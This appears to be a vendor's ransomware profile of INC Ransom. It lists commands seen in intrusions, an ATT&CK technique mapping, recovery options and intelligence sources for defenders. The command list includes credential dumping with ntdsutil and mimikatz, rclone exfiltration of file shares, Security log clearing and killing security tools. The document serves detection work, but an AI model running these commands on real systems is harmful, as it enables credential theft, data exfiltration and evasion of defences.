INC Ransom (Incransom) – ransomware profile, indicators & response guidance

Public reporting and incident experience show that INC Ransom operators frequently rely on a set of standard administrative and offensive tools during intrusions. These tools are not malicious by themselves, but their combination and context can be highly suspicious.

Examples of commands & utilities seen in campaigns

# Discovery & situational awareness
ipconfig /all
systeminfo
netstat -ano
nltest /dclist:YOURDOMAIN
nltest /domain_trusts

# Credential access & privilege escalation
mimikatz.exe
ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds" quit quit

# Lateral movement & remote execution
PsExec.exe \\HOST cmd.exe
wmic process call create …

# Data staging & exfiltration
rclone.exe copy C:\Shares remote:backup --config C:\temp\rclone.conf
restic backup C:\ImportantData --repo …

# Defence evasion & log tampering
wevtutil cl Security
taskkill /F /IM securitytool.exe
          

These examples are simplified and focus on detection and hunting. On their own, they do not prove an INC Ransom intrusion, but they should trigger closer investigation if seen together with other suspicious behaviour.

The following mapping is a summarised view based on public threat intelligence and typical double-extortion playbooks. Individual incidents may deviate.

• Initial Access: T1078 Valid Accounts (VPN, RDP), T1133 External Remote Services, exploitation of vulnerable edge devices.
• Execution: T1059 Command and Scripting Interpreter (PowerShell, CMD, Bash).
• Persistence: T1547 Boot or Logon Autostart Execution (services, run keys, scheduled tasks).
• Privilege Escalation: T1068 Exploitation for Privilege Escalation.
• Defense Evasion: T1562 Impair Defenses (AV/EDR tampering, log clearing), T1070 Indicator Removal.
• Credential Access: T1003 OS Credential Dumping (NTDS, LSASS, SAM using tools such as Mimikatz).
• Discovery: T1087 Account Discovery, T1018 Remote System Discovery, T1049 System Network Connections Discovery.
• Lateral Movement: T1021 Remote Services (RDP, SMB, WinRM), T1021.002 SMB/Windows Admin Shares.
• Collection: T1119 Automated Collection across file shares and application servers.
• Exfiltration: T1041 Exfiltration Over C2 Channel (e.g. via cloud storage tools).
• Impact: T1486 Data Encrypted for Impact, T1490 Inhibit System Recovery (shadow copy deletion, backup removal).

Are INC Ransom encrypted files recoverable without paying?

At the time of writing, there is no publicly available universal decryptor for current INC Ransom variants. For some early or specific builds, security researchers and incident response teams have reported successful decryption in isolated cases – but these methods are not generally applicable to all victims.

In practice, recovery options typically focus on:

• Restoring from clean, offline or immutable backups that were not compromised or encrypted.
• Recovering from snapshots, replicas or archived copies in storage systems and cloud services.
• Targeted file-level recovery where partial data remains intact or shadow copies survived.

For an up-to-date picture of INC Ransom activity, we recommend correlating multiple threat-intelligence sources (vendor blogs, CERT advisories, open-source feeds) with your own telemetry.

• Threat-intel articles from security vendors describing INC Ransom TTPs and infrastructure.
• Community and academic analyses of Windows and Linux INC payloads.
• Government / CERT advisories where INC Ransom is mentioned as an active threat actor.

Our DFIR team continuously tracks changes in INC Ransom tooling, infrastructure and negotiation practices and incorporates those into hunting queries, detection content and hardening guidance.